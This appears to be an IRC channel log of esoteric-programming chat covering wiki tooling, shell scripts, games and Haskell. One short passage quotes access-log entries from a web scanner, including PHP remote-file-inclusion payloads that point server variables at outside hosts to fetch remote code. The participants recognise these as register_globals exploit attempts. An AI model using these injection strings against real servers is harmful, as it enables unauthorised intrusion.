< 1331921589 671897 :Taneb!~Taneb@host-2-99-87-235.as13285.net PRIVMSG #esoteric :Hello! < 1331921596 174185 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :hi < 1331921668 95815 :boily!~boily@modemcable235.198-70-69.static.videotron.ca PRIVMSG #esoteric :hi! < 1331921958 847294 :boily!~boily@modemcable235.198-70-69.static.videotron.ca QUIT :Quit: WeeChat 0.3.7 < 1331923107 892933 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :lol < 1331923637 505857 :mniip!~Mniip@wn1nat29.beelinegprs.ru JOIN :#esoteric < 1331923692 726265 :mniip!~Mniip@wn1nat29.beelinegprs.ru PART :#esoteric < 1331925224 71723 :Taneb!~Taneb@host-2-99-87-235.as13285.net QUIT :Quit: Goodbye < 1331926921 391186 :tzxn3!~tzxn3@cpc5-mapp3-0-0-cust464.12-4.cable.virginmedia.com QUIT :Quit: Leaving < 1331927615 697860 :MoALTz__!~no@host-92-8-235-14.as43234.net QUIT :Ping timeout: 260 seconds < 1331927744 334528 :MoALTz!~no@host-92-8-225-209.as43234.net JOIN :#esoteric < 1331928091 8125 :MoALTz!~no@host-92-8-225-209.as43234.net QUIT :Ping timeout: 248 seconds < 1331928325 824958 :elliott!~elliott@unaffiliated/elliott JOIN :#esoteric < 1331928933 646221 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :09:56:55: * oerjan wonders if today's xkcd has a hidden meaning or if the incomprehensibility is the _entire_ point. < 1331928933 888656 :lambdabot!~lambdabot@li85-105.members.linode.com PRIVMSG #esoteric :elliott: You have 3 new messages. '/msg lambdabot @messages' to read them. < 1331928942 933035 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :@ask oerjan are you aware of the standard meaning of "keying a car"? < 1331928943 263895 :lambdabot!~lambdabot@li85-105.members.linode.com PRIVMSG #esoteric :Consider it noted. < 1331929283 560290 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :12:19:14: lines=$(grep -P -i -- "$1" ????-??-??.txt | head -n 301) \ { \ echo "$lines" | head -n 300 \ [ $(echo "$lines" | wc -l) -eq 301 ] && echo "[too many lines; stopping]" \ } | paste \ fi \ else \ pasterandom 40 \ fi \ < 1331929283 760417 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :12:19:45: hmph < 1331929288 923482 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :@ask oerjan do you want a --tail option? < 1331929289 190584 :lambdabot!~lambdabot@li85-105.members.linode.com PRIVMSG #esoteric :Consider it noted. < 1331929325 475315 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :16:30:51: I'm not sure, but probably not < 1331929325 637241 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :16:31:10: I was more referencing that Keymaker and I had been interviewed too < 1331929325 637374 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :16:31:44: But neither directly related to esolangs, no? < 1331929329 619163 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :RocketJSquirrel: It was for esolangs. < 1331929348 855568 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(By [[User:Rottytooth]], who is a digital artist thing: http://danieltemkin.com/) < 1331929434 874435 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :RocketJSquirrel: http://danieltemkin.com/blog/post/Interview-with-Keymaker.aspx http://danieltemkin.com/blog/post/Interview-with-ais523.aspx < 1331929557 93828 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net PRIVMSG #esoteric :"St. Patricks Day 'Fight Brain Cancer while Killing Brain Cells' Dance Party" :D < 1331929663 772795 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486 PRIVMSG #esoteric :I'm sorry, you are a) American and b) have used the words "Saint", "Patrick's" and "Day" adjacently. < 1331929667 188434 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486 PRIVMSG #esoteric :Get. Out. < 1331929767 63613 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :"The title of this article is incorrect because of technical limitations. There should be no title." < 1331929773 830242 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I am sorely tempted to hide the

on [[TLWNN]]. < 1331929830 198084 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486 PRIVMSG #esoteric :TLWNN, pronounced as it as spelt. < 1331929854 50087 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486 PRIVMSG #esoteric :(It's Welsh.) < 1331930704 517589 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1331930753 765328 :pikhq_!~pikhq@71-219-212-181.clsp.qwest.net JOIN :#esoteric < 1331930789 342574 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@messages < 1331930789 706622 :lambdabot!~lambdabot@li85-105.members.linode.com PRIVMSG #esoteric :elliott asked 30m 46s ago: are you aware of the standard meaning of "keying a car"? < 1331930789 868426 :lambdabot!~lambdabot@li85-105.members.linode.com PRIVMSG #esoteric :elliott asked 25m ago: do you want a --tail option? < 1331930798 516722 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no, and that would be nice. < 1331930849 192750 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :although ideally it should take a date range of sorts... < 1331930902 751081 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :aha, so that's what it means. < 1331930914 740520 :pikhq!~pikhq@71-219-212-2.clsp.qwest.net QUIT :Ping timeout: 245 seconds < 1331931005 26807 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oerjan: it's still not funny < 1331931008 346252 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :but at least it makes some sense :P < 1331931012 108025 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :okay < 1331931024 752430 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :as far as date range goes: i'm not paid that much < 1331931062 339752 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :elliott: well what about allowing that ????-??-?? glob used in it to be passed as an argument? < 1331931118 513947 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :yeah, ok < 1331931125 297902 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it'll have to make it go through shell expansion though < 1331931129 334211 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :thanks to HackEgo's argument pasing < 1331931138 733250 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(and the different directory) < 1331931145 997761 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :i'm not sure how to do that < 1331931151 941915 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :maybe echo $1 < 1331931179 267204 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well `run pastelogs 'myregexp' '????-??-??' would be good enough for this rare use? < 1331931203 384279 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i suppose that still expands a few things < 1331931207 974841 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :um i don't think you understand. < 1331931218 369006 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :i don't know how to get the shell to expand that ????-??-?? string given < 1331931234 960389 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :`run blah='*'; echo $blah < 1331931239 697934 :HackEgo!codu@codu.org PRIVMSG #esoteric :bin canary karma lib paste quotes share wisdom < 1331931242 639326 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oh, that works. < 1331931251 246285 :asiekierka!~asiekierk@078088161004.static.elblag.vectranet.pl QUIT :Read error: Connection reset by peer < 1331931344 413928 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well i understand shell expansion even less than you do, obviously < 1331931391 917256 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :`url bin/pastelogs < 1331931394 824738 :HackEgo!codu@codu.org PRIVMSG #esoteric :http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/bin/pastelogs < 1331931408 847484 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :hm what's the bash for "this variable or this string if it's not set" < 1331931410 547038 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :${foo:bar}? < 1331931415 315911 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :s/bash/sh/ < 1331931507 630535 :lifthrasiir!~lifthrasi@222.122.156.78 QUIT :Ping timeout: 246 seconds < 1331931679 15968 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com JOIN :#esoteric < 1331931898 61736 :lifthrasiir!~lifthrasi@222.122.156.78 JOIN :#esoteric < 1331931916 44133 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : I am sorely tempted to hide the

on [[TLWNN]]. <-- it's for a good cause, right? < 1331931974 451970 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I would do it if it started "The language with no name is a ..." rather than "'''The Language With No Name''' is a ...", which explicitly gives it a name. < 1331932099 992992 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i note that on the first page of google hits for "the nameless one", nearly all hits have the words capitalized. < 1331932162 821629 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :How many are related to Planescape: Torment? < 1331932181 104792 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Quite a few, I see. < 1331932210 542412 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :this still holds true up to page 4 < 1331932325 252405 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i actually didn't know about that character, i was just remembering a similarly named villain from the Torg roleplaying game, which i played way back < 1331932378 627925 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Hey, it's that game people here like. < 1331932385 821984 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Well... the Finns at least. < 1331932409 117501 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :sadly that game essentially died after a few years, i think. < 1331932423 371928 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :No, I mean Planescape: Torment. < 1331932425 732274 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(i didn't play it for long myself though.) < 1331932432 777990 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :"The game's story begins when The Nameless One wakes up in a mortuary.[4][18] He is immediately approached by a floating skull, Morte, who offers advice on how to escape." < 1331932433 919056 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :TURN BACK < 1331932435 181734 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :TUURN BACK < 1331932438 340031 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :DARKNESS WILL ENVELOP YOU < 1331932505 133192 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :elliott: i wasn't expecting you to be speaking about Torg, as i said i think it essentially died. < 1331932527 210426 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh this was a pen and paper RPG, i hear you need to mention that nowadays :P < 1331932546 931412 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(from DMM) < 1331932558 41432 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ACTION gets off oerjan's lawn. < 1331932741 604245 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :looks like it's in eternal "too be revived" mode < 1331932744 783270 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*to < 1331933272 34481 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I wonder if I shold play "Tales of Monkey Island". < 1331933283 625654 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I wonder if those quote marks are incorrect. < 1331933284 607376 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :*should < 1331933347 91215 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :Is the term "noncomposite" sometimes used in mathematics? < 1331933357 949916 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :Since 1 and primes are noncomposite < 1331933555 818336 :MDude!~fyrc@67.232.230.235 PRIVMSG #esoteric :One is subprime? < 1331933804 285118 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :composite mortgages < 1331933836 734509 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :when i first played Maniac Mansion on NES i loved it... < 1331933851 751736 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :the catchy music helped too < 1331933902 41068 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :our neighbor, my brother and i would camp around the tv ringing up the nintendo hotline trying to find solutions to puzzles < 1331933980 486365 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :it wasn't until much much later i learned it was made with SCUMM and the rest of that story < 1331934237 317403 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :without which the precious Monkey Island wouldn't exist < 1331934292 730538 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :Can prime and composite be generalized to other monoids? < 1331934534 686354 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :And then "composite" is something made from two things not identity < 1331935535 858683 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :http://www.reddit.com/r/haskell/comments/qzz3f/scumbag_fromintegral/ dlf;dlsdf;sdf kill kill kill < 1331935578 579034 :MoALTz!~no@host-92-2-136-145.as43234.net JOIN :#esoteric < 1331935647 820544 :monqy!~swell@pool-71-102-226-192.snloca.dsl-w.verizon.net PRIVMSG #esoteric :killl < 1331935699 136847 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION guesses: it's an adviceanimals invader? < 1331935703 481283 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :yes < 1331935718 156261 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it's not even a scumbag thing it's just fry < 1331935718 537845 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :so < 1331935719 345663 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :the title < 1331935720 662119 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :doesn't < 1331935721 97612 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :even < 1331935721 492193 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :make < 1331935721 801262 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :any < 1331935722 718425 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :sense < 1331935724 713015 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :its < 1331935726 879072 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :the < 1331935728 883548 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :worst < 1331935730 886131 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :post < 1331935732 889092 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ever < 1331935746 931789 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :um fry is the "can't tell if ... or ..." one, right < 1331935759 461128 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :yes. < 1331935767 892911 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :except it doesn't actually fit that format. < 1331935794 36117 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :indeed < 1331935797 708784 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :so a troll, i guess < 1331935816 856712 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :no, user account history suggests just stupid. < 1331935839 968302 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :OKAY < 1331935887 259380 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :you missed a space. < 1331935928 87669 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no, that was intentional to mean that wasn't really sarcastic < 1331935984 146793 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :i guessed it was intentional. i was "trolling" you so that u mad. < 1331935998 349221 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :we should hire Dr. Dan Streetmentioner to clarify these differences. < 1331936042 265086 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :umad? < 1331936052 51822 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :im going to name my firstborn umad < 1331936084 279596 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Umad ibn Elliott al Rashid < 1331936226 597566 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :http://www.linkedin.com/pub/umad-malik/27/32/844 < 1331936287 904937 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :i think he mad < 1331936349 423690 :Vorpal!~AnMaster@unaffiliated/anmaster QUIT :Ping timeout: 272 seconds < 1331936532 391582 :cswords!~cswords@c-98-223-234-80.hsd1.in.comcast.net JOIN :#esoteric < 1331936792 997150 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oerjan: wish me luck < 1331936793 158818 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Lost terminal < 1331936923 210319 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :$ grep '^\*' Language_list | sed 's/^\* \[\[:\?//; s/|.*//; s/\]\]$//' | grep -v '^Category:' >langlist < 1331937035 188352 :derdon!~derdon@pD9E1D25E.dip.t-dialin.net JOIN :#esoteric < 1331937275 58505 :nortti!~chatzilla@a88-113-14-106.elisa-laajakaista.fi QUIT :Quit: ChatZilla 0.9.88.1 [Firefox 11.0/20120312200651] < 1331937468 501300 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1331937483 514082 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> ((++" Batman!") . take 48 . cycle . show) (0/0) < 1331937485 122406 :lambdabot!~lambdabot@li85-105.members.linode.com PRIVMSG #esoteric : "NaNNaNNaNNaNNaNNaNNaNNaNNaNNaNNaNNaNNaNNaNNaNNaN Batman!" < 1331937514 373245 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(new HWN) < 1331937735 355727 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oerjan: guess what this is: http://sprunge.us/BTgd < 1331937767 444323 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oh hm there is some brokenness there < 1331937780 237477 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :what's the best way to get all the _non-common_ lines from two files... < 1331937780 769130 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :judging from the logs, a diff between Language list and Category:Languages < 1331937783 972990 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(and which file they're in) < 1331937787 909715 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"The color is #NanNanNan", said gcolor to me while I was fiddling with it. < 1331937803 175850 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Or probably #NaNNaNNaN.) < 1331938215 673369 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :ah yes. that color < 1331938326 859042 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oerjan: would a bot in here that announces wiki changes be nice. < 1331938339 602670 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :i think we can judge that since the r g and b components all = NaN then it's a shade, or is it possible NaN a =/= NaN b < 1331938395 229354 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :hi fizzie < 1331938397 867878 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :>.< < 1331938428 428178 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :http://stackoverflow.com/questions/9743991/simple-random-number-generation/9744888#9744888 the worst possible answer to this question. < 1331938604 362674 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :I have used Xorshift to generate random numbers. But, METAFONT has another algorithm for random numbers, too. < 1331938747 868981 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :zzo38: i dont want to pry into personal life, just seeking advice.. so if you wanted to get away from chat for a few hours while at home, what would you do? < 1331938776 661425 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :itidus21: Turn it off. < 1331938782 692125 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :but then what? < 1331938818 283578 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :Possibly, read a book, play a computer game, write a computer program, or sleep. < 1331938828 681573 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :Or eating. < 1331938858 391786 :MoALTz!~no@host-92-2-136-145.as43234.net QUIT :Ping timeout: 245 seconds < 1331938863 906135 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :would you ever expect to do more than these things while at home? < 1331938875 464928 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486 PRIVMSG #esoteric :"Recall that Haskell is a language free of side effects." < 1331938885 915892 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486 PRIVMSG #esoteric :Loving the conflation of referential transparency and side effects. < 1331938905 171102 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :itidus21: Yes I would expect to do more than these things while at home. I am just giving a few examples. < 1331938911 334264 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :ok cool < 1331938927 885524 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :Such as, sometimes I play Dungeons & Dragons game. < 1331938999 593805 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :i don't understand my own life really. < 1331939020 541940 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :61.250.80.133 - - [16/Mar/2012:22:55:50 +0000] "GET /user/soapCaller.bs HTTP/1.1" 404 142 "-" "Morfeus Fucking Scanner" < 1331939020 740590 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :wat. < 1331939026 327322 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :just as it's possible for a novice to not understand the game of tictactoe they're playing.. < 1331939044 781975 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :but an outside observer can see whats going on with it < 1331939072 357812 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :it all feels quite random to me < 1331939110 159036 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :that would be the learned helplessness talking, unless i subconciously know that and am just pretending to have learned helplessness < 1331939136 370213 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :elliott: $ grep -ic 'morfeus fucking' zem.fi-access.log < 1331939136 536545 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :287 < 1331939168 388 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :fizzie: I mean, "Morfeus Fucking Scanner" is a pretty badass name. < 1331939181 845409 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It is, but I'm not sure how to group it. < 1331939199 721031 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I mean, is it Morfeus (Fucking Scanner) or is it just Fucking for emphasis. < 1331939220 127543 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Fucking is the middle name. < 1331939226 660441 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Morfeus F. Scanner in polite company. < 1331939231 131109 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Right. < 1331939236 25579 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Not that Morfeus Fucking Scanner really "does" polite company. < 1331939259 403532 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Sometimes Morfeus F. (or Uncle Fuck) goes for /index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://makina.org/sugarfree/1.gif?/ or others instead, it seems. < 1331939259 565641 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : oerjan: would a bot in here that announces wiki changes be nice. <-- hm why not. < 1331939264 341642 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :I thought of a poker game with Pokemon cards. You play like Texas Hold'em, using a deck that does not contain any basic energy cards. After the betting is finished, each player gets a duplicate of all five community cards, and the two cards in their hand, become their initial hand. You can then bid on basic energy cards the remainder of your starting draw pile. < 1331939292 690552 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :http://makina.org/sugarfree/1.gif ;; aww, 404. < 1331939299 84900 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :fizzie: That must be something trying to exploit PHP register_globals isn't it? < 1331939301 208740 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Even http://makina.org/sugarfree/ is 404. < 1331939324 42267 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oerjan: well it would be fun if we got a spam wave < 1331939339 841955 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(a la Ejuzarih) < 1331939360 729073 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :zzo38: Likely something like that. There's also another doing /?_SERVER[DOCUMENT_ROOT]=http://87.119.200.140/include/template/templates_c/1.gif?/ which I think is also trying to trick some server to act as an open proxy. < 1331939466 222755 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : that would be the learned helplessness talking [...] <-- this reminds of that recent link on mezzacotta: http://lesswrong.com/lw/ar2/biased_pandemic < 1331939501 426067 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :Do you like my idea of Ibtlfmm allowing the main to be of any type instead of only IO? (but to make a standalone executable it still has to be either (IO ()) or (unsafe "c_int(c_int,c_char**)"), otherwise you can make a dynamically loadable file but not a standalone executable) < 1331939511 469473 :MoALTz!~no@host-92-2-118-122.as43234.net JOIN :#esoteric < 1331939591 757042 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :(If the computer has "int" being 32-bits and "char" being 8-bits, then you can also use (unsafe "i32(i32,i8**)") as the type of main) < 1331939739 584227 :MoALTz_!~no@host-92-2-116-145.as43234.net JOIN :#esoteric < 1331939739 784693 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Lost terminal < 1331939776 716551 :MoALTz!~no@host-92-2-118-122.as43234.net QUIT :Ping timeout: 244 seconds < 1331939997 118853 :Sgeo!~sgeo@ool-ad034d00.dyn.optonline.net PRIVMSG #esoteric :Common Lisp feels more ... static-checky than PHP < 1331940179 920020 :azaq23!~derivecto@unaffiliated/azaq23 JOIN :#esoteric < 1331940182 48317 :oerjan!50cadfda@gateway/web/freenode/ip.80.202.223.218 JOIN :#esoteric < 1331940228 94772 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :hi weboerjan. < 1331940241 196617 :pikhq!~pikhq@174-22-155-89.clsp.qwest.net JOIN :#esoteric < 1331940250 918710 :pikhq_!~pikhq@71-219-212-181.clsp.qwest.net QUIT :Ping timeout: 260 seconds < 1331940261 928622 :oerjan!50cadfda@gateway/web/freenode/ip.80.202.223.218 PRIVMSG #esoteric :good evening < 1331940311 894598 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :oerjan: i think that is really quite profound < 1331940380 305412 :oerjan!50cadfda@gateway/web/freenode/ip.80.202.223.218 PRIVMSG #esoteric :especially the idea of eventually getting so subtle about it that the players will guess your _real_ biases instead. < 1331940415 526726 :oerjan!50cadfda@gateway/web/freenode/ip.80.202.223.218 PRIVMSG #esoteric :oh that involved the "No Bias" card, iirc < 1331940482 255084 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :i like the idea that people can actually learn something from playing a game < 1331940490 884219 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :What cards? < 1331940538 106950 :oerjan!50cadfda@gateway/web/freenode/ip.80.202.223.218 PRIVMSG #esoteric :zzo38: see the link i gave to the game < 1331940540 746956 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :also... the way it subverts the investment in winning and losing < 1331940616 656653 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :I think if (r) is Monoid and (m) is Applicative, there is a way to get a free Alternative instance for (ContT r m) < 1331940671 592512 :Sgeo!~sgeo@ool-ad034d00.dyn.optonline.net PRIVMSG #esoteric :elliott, tswett monqy update < 1331940680 118091 :Sgeo!~sgeo@ool-ad034d00.dyn.optonline.net PRIVMSG #esoteric :Phantom_Hoover, < 1331940696 69051 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486 PRIVMSG #esoteric :I'm glad that I merit my own line. < 1331940710 311227 :oerjan!50cadfda@gateway/web/freenode/ip.80.202.223.218 PRIVMSG #esoteric :zzo38: oh hm there were no actual cards with the biases, they just used ordinary playing cards for random selection. although surely you could make cards for the biases instead. < 1331940801 400736 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486 PRIVMSG #esoteric :KANAYA: I Feel As Though This Conversation Has Utterly Outmaneuvered My Constructive Involvement < 1331940801 562953 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486 PRIVMSG #esoteric :KANAYA: Im Going To Go < 